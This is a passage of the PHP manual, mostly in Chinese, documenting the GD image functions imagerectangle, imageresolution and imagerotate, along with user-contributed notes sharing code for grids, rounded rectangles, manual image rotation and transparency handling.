                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
?>
jsnell at networkninja dot com 17-Feb-2001 07:07
Here are some handy routines for rotation and translation of polygons.  Scaling could be added easily as well.

<?php
function translate_point(&$x,&$y,$angle,$about_x,$about_y,$shift_x,$shift_y)
{
    $x -= $about_x;
    $y -= $about_y;
    $angle = ($angle / 180) * M_PI;
/* math:
[x2,y2] = [x,  *  [[cos(a),-sin(a)],
           y]      [sin(a),cos(a)]]
==>
x = x * cos(a) + y*sin(a)
y = x*-sin(a) + y*cos(a)
*/

    $new_x = $x * cos($angle) - $y * sin($angle);
    $new_y = $x * sin($angle) + $y * cos($angle);
    $x = $new_x+ $about_x + $shift_x ;
    $y = $new_y + $about_y + $shift_y;
}

function translate_poly($point_array, $angle, $about_x, $about_y,$shift_x,$shift_y)
{
    $translated_poly = Array();
    while(count($point_array) > 1)
    {
        $temp_x = array_shift($point_array);
        $temp_y = array_shift($point_array);
        translate_point($temp_x, $temp_y, $angle, $about_x, $about_y,$shift_x, $shift_y);
        array_push($translated_poly, $temp_x);
        array_push($translated_poly, $temp_y);
    }
    return $translated_poly;
}
?>


绘制矩形

  • ? imagepolygon
  • imageresolution ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制矩形

imagerectangle

(PHP 4, PHP 5, PHP 7, PHP 8)

imagerectangle — 绘制矩形

说明

imagerectangle(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

imagerectangle() 创建从指定坐标开始的矩形。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x1

左上角 x 坐标。

y1

左上角 y 坐标。 0, 0 是图像左上角。

x2

右下角 x 坐标。

y2

右下角 y 坐标。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagerectangle() 的简单示例

<?php
// Create a 200 x 200 image
$canvas = imagecreatetruecolor(200, 200);

// Allocate colors
$pink = imagecolorallocate($canvas, 255, 105, 180);
$white = imagecolorallocate($canvas, 255, 255, 255);
$green = imagecolorallocate($canvas, 132, 135, 28);

// Draw three rectangles each with its own color
imagerectangle($canvas, 50, 50, 150, 150, $pink);
imagerectangle($canvas, 45, 60, 120, 100, $white);
imagerectangle($canvas, 100, 120, 75, 160, $green);

// Output and free from memory
header('Content-Type: image/jpeg');

imagejpeg($canvas);
imagedestroy($canvas);
?>

以上示例的输出类似于：

User Contributed Notes

stanislav dot eckert at vizson dot de 10-Jun-2015 09:15
Please pay attention if you want to draw pixel perfect rectangles: Since this function uses absolute values for the second coordinate points (instead of width and height), you might face a logical problem. PHP counts from 0. But a pixel at position 0,0 occupies already a 1x1 space. In the example above you have the following line:

imagerectangle($canvas, 50, 50, 150, 150, $pink);

If you don't pay attention, you might thing that the difference between the two coordinates is exactly 100 and assume that the drawn rectangle would have the dimension of 100 x 100 pixels too. But it would be 101 x 101, because PHP counts from 0 and imagerectangle() uses absolute coordinates for the second point too. A smaller example: A rectangle with coordinates 0,0 and 5,5 means 0,1,2,3,4,5 which are 6 pixels, not 5.
rogier 27-Jun-2007 05:27
In addition to Corey's note, this is the kind of code he means. Note that I always draw an outer grid border, so drawing lines will always take
1 + ceil((rows+cols)/2) actions. For a 20X20 grid, this means 21 actions, a 10X25 grid takes 19 Actions

<?php

function draw_grid(&$img, $x0, $y0, $width, $height, $cols, $rows, $color) {
    //draw outer border
    imagerectangle($img, $x0, $y0, $x0+$width*$cols, $y0+$height*$rows, $color);
    //first draw horizontal
    $x1 = $x0;
    $x2 = $x0 + $cols*$width;
    for ($n=0; $n<ceil($rows/2); $n++) {
        $y1 = $y0 + 2*$n*$height;
        $y2 = $y0 + (2*$n+1)*$height;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
    //then draw vertical
    $y1 = $y0;
    $y2 = $y0 + $rows*$height;
    for ($n=0; $n<ceil($cols/2); $n++) {
        $x1 = $x0 + 2*$n*$width;
        $x2 = $x0 + (2*$n+1)*$width;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
}

//example
$img = imagecreatetruecolor(300, 200);
$red   = imagecolorallocate($img, 255,   0,   0);
draw_grid($img, 0,0,15,20,20,10,$red);
header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
have fun ;)
Corey 13-Feb-2007 03:09
Matt,

I agree that drawing 100 boxes for a 10x10 square is ludicrous. However, if we're going to talk about the best way to draw it in GD, you're still off.

Since a rectangle will draw two vertical lines in one draw, we should use it to our advantage. You can draw 5 rectangles that have the tops and bottoms outside of the image, and there you have your ten rows. Draw 5 more who's sides are out of the image and you have your columns. We just drew a 10x10 (you could do 11x11) grid in 10 draw operations.

:)
administrador(ensaimada)sphoera(punt)com 04-May-2006 07:28
<?php
// With this function you will draw rounded corners rectangles with transparent colors.
// Empty (not filled) figures are allowed too!!

function draw_roundrectangle($img, $x1, $y1, $x2, $y2, $radius, $color,$filled=1) {
    if ($filled==1){
        imagefilledrectangle($img, $x1+$radius, $y1, $x2-$radius, $y2, $color);
        imagefilledrectangle($img, $x1, $y1+$radius, $x1+$radius-1, $y2-$radius, $color);
        imagefilledrectangle($img, $x2-$radius+1, $y1+$radius, $x2, $y2-$radius, $color);

        imagefilledarc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color, IMG_ARC_PIE);
    }else{
        imageline($img, $x1+$radius, $y1, $x2-$radius, $y1, $color);
        imageline($img, $x1+$radius, $y2, $x2-$radius, $y2, $color);
        imageline($img, $x1, $y1+$radius, $x1, $y2-$radius, $color);
        imageline($img, $x2, $y1+$radius, $x2, $y2-$radius, $color);

        imagearc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color);
        imagearc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color);
        imagearc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color);
        imagearc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color);
    }
}

?>
More functions at http://www.sphoera.com
carl at pappenheim dot net 20-Feb-2006 03:02
Oh I don't know.  He was on the right track..

<?php

$rows = 5;
$cols = 11;
$eachx = 12;
$eachy = 18;

$max = array($cols*$eachx, $rows*$eachy);
$im = imagecreatetruecolor($max[0]+1,$max[1]+1);
$white = imagecolorallocate($im,255,255,255);
imagefill($im,0,0,$white);

$black = imagecolorallocate($im,50,50,50);

for($x=$max[0]/2;$x>=0;$x-=$eachx) {
    imagerectangle($im, ($max[0]/2)+$x,0, ($max[0]/2)-$x,$max[1], $black);
}
for($y=$max[1]/2;$y>=0;$y-=$eachy) {
    imagerectangle($im, 0,($max[1]/2)+$y, $max[0],($max[1]/2)-$y, $black);
}

header("Content-type: image/jpeg");
imagejpeg($im,'',80);
imagedestroy($im);
?>
matt at bargolf dot net 30-Jan-2006 02:25
Lets not do it Mr Benson's way OK!

I'm sure if I had to draw a 10x10 grid on paper I wouldn't do it by drawing 100 individual squares, redrawing nearly half of the lines twice.

I'd probably do it by drawing 11 vertical lines and 11 horizontal lines.

function ImageGrid2(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {
    $endy = $starty + $height * $yrows;
    for ( $x=0; $x <= $xcols; $x++ ) {
        $x1 = $startx + $width * $x;
        imageline ( $im, $x1, $starty, $x1, $endy, $color );
    }

    $endx = $startx + $width * $xcols;
    for ( $y=0; $y <= $yrows; $y++ ) {
     $y1 = $starty + $height * $y;
     imageline ( $im, $startx, $y1, $endx, $y1, $color );
    }
}
eustaquiorangel at yahoo dot com 17-Dec-2002 09:21
If you want an empty rectangle, I mean, just the borders, fill it first with the ImageFilledRectangle function with the background color and then draw it with this function.


Get or set the resolution of the image

  • ? imagerectangle
  • imagerotate ?
  • PHP Manual
  • GD 和图像处理 函数
  • Get or set the resolution of the image

imageresolution

(PHP 7 >= 7.2.0, PHP 8)

imageresolution — Get or set the resolution of the image

说明

imageresolution(GdImage $image, ?int $resolution_x = null, ?int $resolution_y = null): array|bool

imageresolution() allows to set and get the resolution of an image in DPI (dots per inch). If the optional parameters are null, the current resolution is returned as an indexed array. If only resolution_x is not null, the horizontal and vertical resolution are set to this value. If none of the optional parameters are null, the horizontal and vertical resolution are set to these values, respectively.

The resolution is only used as meta information when images are read from and written to formats supporting this kind of information (curently PNG and JPEG). It does not affect any drawing operations. The default resolution for new images is 96 DPI.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

resolution_x

The horizontal resolution in DPI.

resolution_y

The vertical resolution in DPI.

返回值

When used as getter, it returns an indexed array of the horizontal and vertical resolution on success, 或者在失败时返回 false. When used as setter, it returns true on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | resolution_x and resolution_y are now nullable.

示例

Example #1 Setting and getting the resolution of an image

<?php
$im = imagecreatetruecolor(100, 100);
imageresolution($im, 200);
print_r(imageresolution($im));
imageresolution($im, 300, 72);
print_r(imageresolution($im));
?>

以上示例会输出：

Array
(
    [0] => 200
    [1] => 200
)
Array
(
    [0] => 300
    [1] => 72
)

User Contributed Notes

fernando dot fonseca at afteryou dot pt 25-Jun-2021 02:59
It should be clear that the set version of the function doesn't change the image it self, just the resource in memory, which probably is fine if you didn't save the image yet. If your use case is for an image that is already on disk,  image you should always do something like:

imageresolution($img, 300, 300);
imagepng($img, $filname, $quality);


用给定角度旋转图像

  • ? imageresolution
  • imagesavealpha ?
  • PHP Manual
  • GD 和图像处理 函数
  • 用给定角度旋转图像

imagerotate

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagerotate — 用给定角度旋转图像

说明

imagerotate(GdImage $image, float $angle, int $background_color): GdImage|false

将 image 图像按指定 angle 角度旋转。

旋转的中心是图像的中心，旋转后的图像可能与原始图像具有不同的尺寸。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

angle

旋转角度，以度为单位。旋转角度是为逆时针旋转图像的度数。

background_color

指定旋转后未覆盖区域的颜色

返回值

返回旋转图像后的图像对象， 或者在失败时返回 false。

更新日志

版本 | 说明
8.3.0 | 未使用的 ignore_transparent 已完全删除。
8.0.0 | 成功时此函数现在返回 GDImage 实例；之前返回 resource。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | 未使用的 ignore_transparent 现在接受 bool；之前接受 int。

示例

Example #1 图像旋转 180 度

示例把图像旋转 180 度——上下颠倒。

<?php
// File and rotation
$filename = 'test.jpg';
$degrees = 180;

// Content type
header('Content-type: image/jpeg');

// Load
$source = imagecreatefromjpeg($filename);

// Rotate
$rotate = imagerotate($source, $degrees, 0);

// Output
imagejpeg($rotate);

// Free the memory
imagedestroy($source);
imagedestroy($rotate);
?>

以上示例的输出类似于：

示例输出：图像旋转 180 度

注释

Note:

此函数受到 imagesetinterpolation() 中设定的插值方法影响。

参见

  • imagesetinterpolation() - Set the interpolation method

User Contributed Notes

shaun at slickdesign dot com dot au 29-Nov-2017 07:31
The angle in imagerotate() is the number of degrees to rotate the image anti-clockwise, but while it may seem natural to use '-90' to turn an image 90 degrees clockwise, the end result may appear on a slight angle, and may cause the rotated image to appear slightly blurred with a background or border. Excessively large angles may also present sampling issues.

The easiest way to prevent these, is to ensure all angles are between 0 and 360.

<?php
while ( $angle < 0 ) { $angle += 360; }
while ( $angle >= 360 ) { $angle -= 360; }

$rotated = imagerotate( $image, $angle, $color );
?>
TNTcode 09-Oct-2017 12:33
<?php

// auto rotates an image file based on exif data from camera
// if destination file is specified then it saves file there, otherwise it will display it to user
// note that images already at normal orientation are skipped (when exif data Orientation = 1)

if(!function_exists("gd_auto_rotate")){
    function gd_auto_rotate($original_file, $destination_file=NULL){

        $original_extension = strtolower(pathinfo($original_file, PATHINFO_EXTENSION));
        if(isset($destination_file) and $destination_file!=''){
            $destination_extension = strtolower(pathinfo($destination_file, PATHINFO_EXTENSION));
        }

        // try to auto-rotate image by gd if needed (before editing it)
        // by imagemagik it has an easy option
        if(function_exists("exif_read_data")){

            $exif_data = exif_read_data($original_file);
            $exif_orientation = $exif_data['Orientation'];

            // value 1 = normal ?! skip it ?!

            if($exif_orientation=='3'  or $exif_orientation=='6' or $exif_orientation=='8'){

                $new_angle[3] = 180;
                $new_angle[6] = -90;
                $new_angle[8] = 90;

                // load the image
                if($original_extension == "jpg" or $original_extension == "jpeg"){
                    $original_image = imagecreatefromjpeg($original_file);
                }
                if($original_extension == "gif"){
                    $original_image = imagecreatefromgif($original_file);
                }
                if($original_extension == "png"){
                    $original_image = imagecreatefrompng($original_file);
                }

                $rotated_image = imagerotate($original_image, $new_angle[$exif_orientation], 0);

                // if no destination file is set, then show the image
                if(!$destination_file){
                    header('Content-type: image/jpeg');
                    imagejpeg($rotated_image, NULL, 100);
                }

                // save the smaller image FILE if destination file given
                if($destination_extension == "jpg" or $destination_extension=="jpeg"){
                    imagejpeg($rotated_image, $destination_file,100);
                }
                if($destination_extension == "gif"){
                    imagegif($rotated_image, $destination_file);
                }
                if($destination_extension == "png"){
                    imagepng($rotated_image, $destination_file,9);
                }

                imagedestroy($original_image);
                imagedestroy($rotated_image);

            }
        }
    }
}

?>
xarris_ at hotmail dot com 06-Oct-2015 03:53
An issue with imagerotate() is it might need more memory than what is available. It was failing in my script so I tried to increase it with ini_set('memory_limit', '256M')
and everything works fine now.
meisterix at gmx dot com 16-Jul-2012 09:24
After some INet searches and personal try-and-failures I succeed to rotate PNG images with preserving alpha channel transparency (semi transparency).

<?php
    $filename = 'YourFile.png';
    $rotang = 20; // Rotation angle
    $source = imagecreatefrompng($filename) or die('Error opening file '.$filename);
    imagealphablending($source, false);
    imagesavealpha($source, true);

    $rotation = imagerotate($source, $rotang, imageColorAllocateAlpha($source, 0, 0, 0, 127));
    imagealphablending($rotation, false);
    imagesavealpha($rotation, true);

    header('Content-type: image/png');
    imagepng($rotation);
    imagedestroy($source);
    imagedestroy($rotation);
?>
henzeberkheij at gmail dot com 01-Jan-2012 02:27
Keep in mind this function rotates counterclockwise.  if you want to go 90 degrees clockwise, you have to tell imagerotate to go 270 degrees counter-clockwise.

$angle = 360-$angle;
Sam Yong - hellclanner at live dot com 27-Sep-2011 06:20
Note that the image resource returned from the imagerotate() function is an entirely different image resource from your original one.

<?php

$res = imagecreatetruecolor(100, 200);
$res2 = imagerotate($res, 90, 0);
var_dump($res, $res2);

?>

This will output:

resource(2, gd)
resource(3, gd)
kraeh at gmx dot net 21-Mar-2011 09:02
I had a problem with a png image containing transparent colors, but found a solution that works for me.
So i thought i might share it:

<?php
$angle=45;
$im=imagerotate($im, $angle, -1);
imagealphablending($im, true);
imagesavealpha($im, true);
?>
Leo 27-Aug-2010 06:32
// angle in degrees, clockwise, allowed values from 0 to 360 degrees
    function rotateImage ($image, $angle)
    {
        if ( ($angle < 0) || ($angle > 360) )
        {
            exit ("Error, angle passed out of range: [0,360]");
        }

        $width    = imagesx ($image);
        $height    = imagesy ($image);

        $dstImage = imagecreatetruecolor ($width, $height);

        if ( ($angle == 0) || ($angle == 360) )
        {
            // Just copy image to output:
            imagecopy ($dstImage, $image, 0, 0, 0, 0, $width, $height);
        }
        else
        {
            $centerX = floor ($width / 2);
            $centerY = floor ($height / 2);

            // Run on all pixels of the destination image and fill them:
            for ($dstImageX = 0; $dstImageX < $width; $dstImageX++)
            {
                for ($dstImageY = 0; $dstImageY < $height; $dstImageY++)
                {
                    // Calculate pixel coordinate in coordinate system centered at the image center:
                    $x = $dstImageX - $centerX;
                    $y = $centerY - $dstImageY;

                    if ( ($x == 0) && ($y == 0) )
                    {
                        // We are in the image center, this pixel should be copied as is:
                        $srcImageX = $x;
                        $srcImageY = $y;
                    }
                    else
                    {
                        $r = sqrt ($x * $x + $y * $y); // radius - absolute distance of the current point from image center

                        $curAngle = asin ($y / $r); // angle of the current point [rad]

                        if ($x < 0)
                        {
                            $curAngle = pi () - $curAngle;
                        }

                        $newAngle = $curAngle + $angle * pi () / 180; // new angle [rad]

                        // Calculate new point coordinates (after rotation) in coordinate system at image center
                        $newXRel = floor ($r * cos ($newAngle));
                        $newYRel = floor ($r * sin ($newAngle));

                        // Convert to image absolute coordinates
                        $srcImageX = $newXRel + $centerX;
                        $srcImageY = $centerY - $newYRel;
                    }

                    $pixelColor = imagecolorat  ($image, $srcImageX, $srcImageY); // get source pixel color

                    imagesetpixel ($dstImage, $dstImageX, $dstImageY, $pixelColor); // write destination pixel
                }
            }
        }

        return $dstImage;
    }
xavtak at gmail dot com 25-Aug-2010 08:38
I've benchmarked three methods described here for rotating an image.

I used a 1600 x 1200 jpeg picture that was duplicated ten times on the disk. I looped through them to apply a CW rotation using either method.

First algorithm (the "imagesetpixel" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
            {
                $ref = imagecolorat($image, $i, $j);
                imagesetpixel($result, ($h - 1) - $j, $i, $ref);
            }
    }
    return $result;
}
?>

Second algorithm (the "imagecopy" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
                imagecopy($result, $image, ($h - 1) - $j, $i, $i, $j, 1, 1);
    }
    return $result;
}
?>

Third algorithm (the "imagerotate" algorithm):
<?php
function CWRotation($image)
{
    return imagerotate($image, 270, 0);
}
?>

In each step of the loop, the image is loaded, rotated then a copy is written on the disk.

Here are the results:
imagesetpixel algorithm: the 10 pictures were processed in 29 seconds
imagecopy algorithm: the 10 pictures were processed in 26 seconds
imagerotate algorithm: the 10 pictures were processed in 2 seconds (no typo here)

Writing the pictures on the disk allowed me to control the results. Every resulting picture was the same (tested with winmerge).

Conclusion: imagerotate is way faster than other "home-made" algorithms.
I ran the tests several times to see if the difference between imagesetpixel and imagecopy was introduced by my computer's independent activity, but I always got that 10% difference.

Note: the picture I used was taken from a camera, so no transparency was involved.
I ran the tests on Windows XP using PHP Version 5.3.0
kmrohe at letsco dot de 05-Mar-2010 03:00
As an alternative to the GD rotateImage() function, this is an easy way to rotate images by 90 degrees ccw *without* loosing transparency:

<?php

  function rotateImage($image) {
      $width = imagesx($image);
      $height = imagesy($image);
      $newImage= imagecreatetruecolor($height, $width);
      imagealphablending($newImage, false);
      imagesavealpha($newImage, true);
      for($w=0; $w<$width; $w++)
          for($h=0; $h<$height; $h++) {
              $ref = imagecolorat($image, $w, $h);
              imagesetpixel($newImage, $h, ($width-1)-$w, $ref);
          }
      return $newImage;
  }

?>
c kelley at ca - cycleworks dot com 20-Feb-2010 02:59
Note, of the rotate functions below, only beau's worked for me. Not sure if it is because of my source image, but upon rotating, the background became blue.

The code snippet below is what I used to prepare UPS shipping labels. The UPS xml api will return a base64 encoded gif, but it is sideways, so as to print on the top half of a 8.5x11 "letter" page. We are saving it in a database and sending it to a label printer, so needed it rotated...

The other code further down didn't make the background blue, however it did make the image leave the canvas by about 50%. Additionally, the imagecolorallocate() function has an example describing how to set the background color. That didn't work for me. Even though the blue BG is #0000ff, using that code didn't work, I had to use the transparent trick below.

The GD image functions may be in their infancy, however are a great reminder to me how powerful php is! Also, ubuntu apache users will need to apt-get install php5-gd to get the gd functions.

<?php
        $image=imagecreatefromgif( 'data://text/plain;base64,'.$this->shipmentLabelGraphicImage );
        $image=$this->rotateImage($image, 90); // Note: rotateImage turns our background to blue!
        $blue = imagecolorallocate($image, 0, 0, 255);
        imagecolortransparent($image, $blue);    // make blue transparent, so image isn't goofy
        imagepng($image,$this->shipmentTrackingNumber.".png");
        echo '<P><img src="'.$this->shipmentTrackingNumber.'.png"></P>';
        imagedestroy($image);
?>
dev at imglib dot endofinternet dot net 25-Aug-2009 03:15
And you can add a transparent background to you png image by change the
<?php
    if ($ignore_transparent == 0) {
        imagefill($destimg, 0, 0, imagecolorallocatealpha($destimg, 255,255, 255, 127));
        imagesavealpha($destimg, true);
    }
?>
to
<?php
    if ($ignore_transparent == 0) {
        $temp = imagecolorallocatealpha($destimg, 255,255, 255, 127);
        imagefill($destimg, 0, 0, $temp);
        //if set the default color or white or magic pink then use transparent color
        if ( ($bgcolor == 0) || ($bgcolor == 16777215) || ($bgcolor == 16711935) )  {
            $bgcolor = $temp;
        }
        imagesavealpha($destimg, true);
    }
?>
sjef at bosman dot fr 09-Aug-2009 09:28
I wanted to draw a transparent GIF-image and show it on a page, at an angle specified in the URL:
<img src="image.php?angle=90" type="image/gif">

I used the native imagerotate() but at angles of 90, 180, etc. the old background colour would become non-transparent. Apparently, there's a bug somewhere in GD, and has been for ages.

My solution below:

<?php
$height = 100;
$width = 100;
$lsize= $width/2;
$angle= $_GET["angle"];

// avoid the bug:
if(($angle%90)==0)
  $angle+= 0.001;

$image_p = imagecreatetruecolor($width, $height);
$trans = imagecolorallocate($image_p, 254, 0, 0);
imagefill($image_p, 0, 0, $trans);
imagecolortransparent($image_p, $trans);

$black = imagecolorallocate($image_p, 1, 1, 1);
$red = imagecolorallocate($image_p, 255, 0, 0);
$white = imagecolorallocate($image_p, 255, 255, 255);

// draw something here
imageline($image_p, 3, $lsize, $lsize/2, $lsize, $black);

$image_r= imagerotate($image_p, -$angle, $trans, 0);
$w= imagesx($image_r);
$h= imagesy($image_r);
$image_s = imagecreatetruecolor($width, $height);
imagecopyresized($image_s, $image_r, 0, 0, ($w-$width)/2, ($h-$height)/2, $width, $height, $width, $height);
$trans = imagecolorallocate($image_s, 254, 0, 0);
imagecolortransparent($image_s, $trans);
imagegif($image_s);
?>
gglockner AT NOSPAMdwaffler DOT com 23-Jul-2009 12:36
If you're going to do a rotation by hand instead of using the imagerotate function, you can use the imagecopy function to copy a single pixel instead of determining the pixel color and setting the pixel.  Not only is this shorter and cleaner, but it also works with images that are not truecolor (on my system, imagecolorat fails with an image that is not truecolor).
Anonymous 25-Jun-2009 05:32
Sorry, the previous class contains an error, the original image after the rotation 1px move on and get the unwanted "border".

After a careful reading of the local debate, I am using the tip from Dave Richards wrote a new function. With its images can be rotated only 90 ° (default), 180 ° and 270 °, but one rarely needs more ...

The function returns False, or rotated image
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return rotateImage($srcImg, $angle);
    }
}

function rotateImage($img1, $rec) {
    $wid = imagesx($img1);
    $hei = imagesy($img1);
    switch($rec) {
        case 270:
            $img2 = @imagecreatetruecolor($hei, $wid);
        break;
        case 180:
            $img2 = @imagecreatetruecolor($wid, $hei);
        break;
        default :
            $img2 = @imagecreatetruecolor($hei, $wid);
    }
    if($img2) {
        for($i = 0;$i < $wid; $i++) {
            for($j = 0;$j < $hei; $j++) {
                $ref = imagecolorat($img1,$i,$j);
                switch($rec) {
                    case 270:
                        if(!@imagesetpixel($img2, ($hei - 1) - $j, $i, $ref)){
                            return false;
                        }
                    break;
                    case 180:
                        if(!@imagesetpixel($img2, $i, ($hei - 1) - $j, $ref)) {
                            return false;
                        }
                    break;
                    default:
                        if(!@imagesetpixel($img2, $j, ($wid - 1) - $i, $ref)) {
                            return false;
                        }
                }
            }
        }
        return $img2;
    }
    return false;
}
?>

Petr
Mike Knoop 24-Jun-2009 02:25
Don't be tricked into thinking this function will rotate the image resource handle in-place. While the documentation currently doesn't specify and return values, I've found the following return values to be true:

"Returns an image resource identifier on success, FALSE on errors. "

Simply make sure you're doing something like...
<?php
$rotated_img = imagerotate($src_img, 45, $color)
?>

-Mike
krteczek01 at gmail dot com 23-Jun-2009 03:21
Hi, I've rewrote function to class with static methods. Advantage of this solution is ability to be called several times during script execution.

<?php
/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/

if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent::rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

class imagerotateEquivalent {

    static private function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }

    static private function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    public static function rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {

        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Calculate the width of the destination image.
        $temp = array (    self::rotateX(0,     0, 0-$theta),
                        self::rotateX($srcw, 0, 0-$theta),
                        self::rotateX(0,     $srch, 0-$theta),
                        self::rotateX($srcw, $srch, 0-$theta)
                    );
        $minX = floor(min($temp));
        $maxX = ceil(max($temp));
        $width = $maxX - $minX;

        // Calculate the height of the destination image.
        $temp = array (    self::rotateY(0,     0, 0-$theta),
                        self::rotateY($srcw, 0, 0-$theta),
                        self::rotateY(0,     $srch, 0-$theta),
                        self::rotateY($srcw, $srch, 0-$theta)
                    );
        $minY = floor(min($temp));
        $maxY = ceil(max($temp));
        $height = $maxY - $minY;

        $destimg = imagecreatetruecolor($width, $height);
        imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

        // sets all pixels in the new image
        for($x=$minX;$x<$maxX;$x++) {
            for($y=$minY;$y<$maxY;$y++)
            {
                // fetch corresponding pixel from the source image
                $srcX = round(self::rotateX($x, $y, $theta));
                $srcY = round(self::rotateY($x, $y, $theta));
                if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
                {
                    $color = imagecolorat($srcImg, $srcX, $srcY );
                }
                else
                {
                    $color = $bgcolor;
                }
                imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
            }
        }
        return $destimg;
    }
}

?>
anon at here dot com 13-Jun-2009 01:00
I was quite surprised to see that no one had done any working rotate function. And since I needed one for my web hotel, I whipped this one up. Someone might want to expand it so that it matches imagerotate.

Also, does imagerotate really rotate things counter clockwise? Otherwise this should also be changed.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/
function imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0)
{
    function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }
    function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    $srcw = imagesx($srcImg);
    $srch = imagesy($srcImg);

    if($angle == 0) return $srcImg;

    // Convert the angle to radians
    $theta = deg2rad ($angle);

    // Calculate the width of the destination image.
    $temp = array (    rotateX(0,     0, 0-$theta),
                    rotateX($srcw, 0, 0-$theta),
                    rotateX(0,     $srch, 0-$theta),
                    rotateX($srcw, $srch, 0-$theta)
                );
    $minX = floor(min($temp));
    $maxX = ceil(max($temp));
    $width = $maxX - $minX;

    // Calculate the height of the destination image.
    $temp = array (    rotateY(0,     0, 0-$theta),
                    rotateY($srcw, 0, 0-$theta),
                    rotateY(0,     $srch, 0-$theta),
                    rotateY($srcw, $srch, 0-$theta)
                );
    $minY = floor(min($temp));
    $maxY = ceil(max($temp));
    $height = $maxY - $minY;

    $destimg = imagecreatetruecolor($width, $height);
    imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

    // sets all pixels in the new image
    for($x=$minX;$x<$maxX;$x++) {
        for($y=$minY;$y<$maxY;$y++)
        {
            // fetch corresponding pixel from the source image
            $srcX = round(rotateX($x, $y, $theta));
            $srcY = round(rotateY($x, $y, $theta));
            if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
            {
                $color = imagecolorat($srcImg, $srcX, $srcY );
            }
            else
            {
                $color = $bgcolor;
            }
            imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
        }
    }

    return $destimg;
}
?>
dave dot richards at gmail dot com 17-Apr-2009 04:47
There is a slight mistake in the previous post by Kae Cyphet.

When setting the pixels of the new image the co-ordinates have to occasionally use the width ($wid) and height ($hei). These values must be reduced by 1 as the co-ordinates start at 0 (Not 1) so they only go up to $wid - 1 and $hei - 1 (Not $wid and $hei).

Here's an example of the first function to show this:

<?php
function rotate_right90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,($hei - 1) - $j,$i,$ref);
  }
 }
 return $im2;
}
?>

Other than that very useful functions!
joseluis at pellicer dot org 01-Dec-2008 08:14
About that rotating function by david at horizon-nigh not working, I found the bug.
I noticed that the x1 and y1 where not used, so, in the loop through every pixel and transform it, change

$x2 = $x * cos($theta) - $y * sin($theta);
$y2 = $x * sin($theta) + $y * cos($theta);

to:

